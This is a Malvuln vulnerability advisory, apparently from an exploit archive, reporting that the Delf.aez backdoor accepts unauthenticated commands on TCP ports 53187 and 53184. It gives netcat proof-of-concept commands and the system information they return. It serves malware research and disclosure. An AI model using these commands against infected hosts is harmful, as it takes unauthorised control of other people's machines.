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Backdoor.Win32.Delf.aez MVID-2021-0217 Code Execution

Backdoor.Win32.Delf.aez MVID-2021-0217 Code Execution
Posted May 18, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Delf.aez malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | 8fbf0938ba6ecfeaf987ee90ac05df4c632debb888ae08b0ab0ede052e67b395

Backdoor.Win32.Delf.aez MVID-2021-0217 Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be4a6274679ca966a1d99140db54c25a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.aez
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on several TCP ports and accepts unauthenticated commands on port 53187 and 53184. Commands are in Polish E.g. Wylogowuj translated is "Log out" and we get response "#Zmiany Profilu w│aczone" ("#Profile change enabled."). Sending a single characters "d" or "f" to port 53187 also returns system information.
Type: PE32
MD5: be4a6274679ca966a1d99140db54c25a
Vuln ID: MVID-2021-0217
Disclosure: 05/17/2021

Exploit/PoC:
nc64.exe x.x.x.x 53187
f
f 6
PerfLogs
Program Files
Program Files (x86)
Users
Windows
$WINRE_BACKUP_PARTITION.MARKER
0
bootmgr
398082
BOOTNXT
1
BOOTSECT.BAK
8192
pagefile.sys
671088640
swapfile.sys
16777216
d
d
C: - Dysk lokalny
D: - CD-ROM

nc64.exe x.x.x.x 53184
#Wylogowuj
#Zmiany Profilu w│aczone. #Profile change enabled.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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